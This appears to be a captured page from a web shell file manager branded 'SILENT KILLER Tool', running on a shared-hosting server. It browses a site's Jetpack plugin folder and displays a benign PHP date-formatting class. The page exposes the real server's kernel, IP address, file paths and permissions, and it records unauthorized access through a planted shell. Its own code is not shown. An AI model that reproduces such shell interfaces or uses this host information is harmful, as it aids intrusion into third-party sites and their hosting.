Current Path: > home > codekrsu > > ameliagraphics.com > wp-content > plugins > jetpack > sal
Operation : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 Software : Apache Server IP : 162.0.232.56 | Your IP: 216.73.216.111 Domains : 1034 Domain(s) Permission : [ 0755 ]
Name | Type | Size | Last Modified | Actions |
---|---|---|---|---|
class.json-api-date.php | File | 2559 bytes | April 21 2025 18:58:58. | |
class.json-api-links.php | File | 15888 bytes | May 15 2025 20:05:26. | |
class.json-api-metadata.php | File | 2177 bytes | December 25 2024 18:44:34. | |
class.json-api-platform-jetpack.php | File | 1339 bytes | January 17 2023 01:35:44. | |
class.json-api-platform.php | File | 1284 bytes | October 17 2022 19:47:32. | |
class.json-api-post-base.php | File | 31937 bytes | July 24 2024 13:20:00. | |
class.json-api-post-jetpack.php | File | 2219 bytes | April 06 2022 19:14:40. | |
class.json-api-site-base.php | File | 43913 bytes | May 05 2025 21:43:40. | |
class.json-api-site-jetpack-base.php | File | 11084 bytes | May 15 2023 20:47:16. | |
class.json-api-site-jetpack.php | File | 18955 bytes | September 30 2024 21:15:14. | |
class.json-api-token.php | File | 3731 bytes | May 20 2024 23:33:44. |
<?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName /** * WPCOM_JSON_API_Date class. * * @package automattic/jetpack */ /** * Base class for WPCOM_JSON_API_Date. */ class WPCOM_JSON_API_Date { /** * Returns ISO 8601 formatted datetime: 2011-12-08T01:15:36-08:00 * * @param string $date_gmt GMT datetime string. * @param string $date Optional. Used to calculate the offset from GMT. * * @return string */ public static function format_date( $date_gmt, $date = null ) { $offset = null; $timestamp_gmt = strtotime( "$date_gmt+0000" ); if ( null === $date ) { $timestamp = $timestamp_gmt; $west = 0; $minutes = 0; $hours = 0; } else { $date_time = date_create( "$date+0000" ); if ( $date_time ) { $timestamp = date_format( $date_time, 'U' ); } else { $timestamp = 0; } // "0000-00-00 00:00:00" == -62169984000 if ( -62169984000 === $timestamp_gmt ) { // WordPress sets post_date=now, post_date_gmt="0000-00-00 00:00:00" for all drafts // WordPress sets post_modified=now, post_modified_gmt="0000-00-00 00:00:00" for new drafts. // Try to guess the correct offset from the blog's options. $timezone_string = get_option( 'timezone_string' ); if ( $timezone_string && $date_time ) { $timezone = timezone_open( $timezone_string ); if ( $timezone ) { $offset = $timezone->getOffset( $date_time ); } } else { $offset = 3600 * (float) get_option( 'gmt_offset' ); } } else { $offset = $timestamp - $timestamp_gmt; } $west = $offset < 0; $offset = abs( $offset ); $hours = (int) floor( $offset / 3600 ); $offset -= $hours * 3600; $minutes = (int) floor( $offset / 60 ); } return (string) gmdate( 'Y-m-d\\TH:i:s', $timestamp ) . sprintf( '%s%02d:%02d', $west ? '-' : '+', $hours, $minutes ); } /** * Returns ISO 8601 formatted duration interval: P0DT1H10M0S * * @param string $time Duration in minutes or hours. * * @return null|string */ public static function format_duration( $time ) { $timestamp = strtotime( $time, 0 ); // Bail early if we don't recognize a date. if ( empty( $timestamp ) ) { return; } $days = floor( $timestamp / 86400 ); $timestamp = $timestamp % 86400; $hours = floor( $timestamp / 3600 ); $timestamp = $timestamp % 3600; $minutes = floor( $timestamp / 60 ); $timestamp = $timestamp % 60; return (string) sprintf( 'P%dDT%dH%dM%dS', $days, $hours, $minutes, $timestamp ); } }
SILENT KILLER Tool